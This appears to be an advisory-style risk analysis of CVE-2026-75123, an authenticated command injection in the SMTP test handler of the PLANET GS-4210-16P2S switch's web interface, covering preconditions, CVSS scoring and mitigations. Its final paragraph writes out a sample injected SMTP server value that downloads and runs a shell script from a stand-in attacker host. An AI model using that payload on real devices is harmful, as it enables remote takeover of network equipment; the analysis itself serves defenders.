PLANET GS-4210-16P2S CVE-2026-75123

Exploitation requires valid administrator-level credentials for the PLANET GS-4210-16P2S web management interface, confirmed by CVSS PR:H in the provided 4.0 vector. The attacker must have network connectivity to the device's web management port (AV:N); no special network positioning such as LAN adjacency is required beyond reachability. The vulnerable code path is triggered through the SMTP email alert test functionality (web_smtp_test_post handler in /cgi-bin/dispatcher.cgi); no non-default configuration is required to enable this feature - it is part of the standard management interface. Exploitation is gated entirely on administrator credential possession: without valid admin credentials, the vulnerability cannot be reached. No user interaction is required once authenticated (UI:N). Environments that restrict management interface access to isolated management VLANs, prohibit internet exposure of the web UI, and enforce strong non-default credentials significantly reduce real-world risk. There is no evidence that exploitation requires any specific firmware sub-configuration beyond the default-enabled SMTP test functionality.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.6, reflecting low attack complexity and no user interaction, but importantly mandates high-privilege administrator credentials - a factor that substantially narrows the realistic attacker population. No EPSS data was provided in the source intelligence, and this vulnerability does not appear in CISA KEV at time of analysis, indicating no confirmed active exploitation. No proof-of-concept code has been identified in the available references. Despite high C/I/A impact ratings, the PR:H requirement means the most plausible threat actors are those who have already obtained admin credentials through phishing, credential stuffing against default or reused passwords, or an insider. Organizations with properly segmented management networks, no internet-exposed web UI, and strong credential hygiene face considerably lower real-world risk than the raw CVSS score implies. The vulnerability class (unauthenticated user input passed to shell) is trivially exploitable once credentials are in hand, so the credential barrier is the single most important control.

An attacker who has obtained the administrator password for the GS-4210-16P2S web management interface - whether through credential stuffing, phishing, or default credentials - authenticates to the device and submits a crafted HTTP POST request to /cgi-bin/dispatcher.cgi with the SMTP server field set to a value such as '127.0.0.1; wget http://attacker.example/shell.sh -O /tmp/s && sh /tmp/s'. The web_smtp_test_post handler passes this value unsanitized into a shell command, causing the injected payload to execute with the privileges of the CGI process on the firmware OS. No public proof-of-concept has been identified, but the vulnerability class is well-understood and mechanically straightforward once valid admin credentials are available.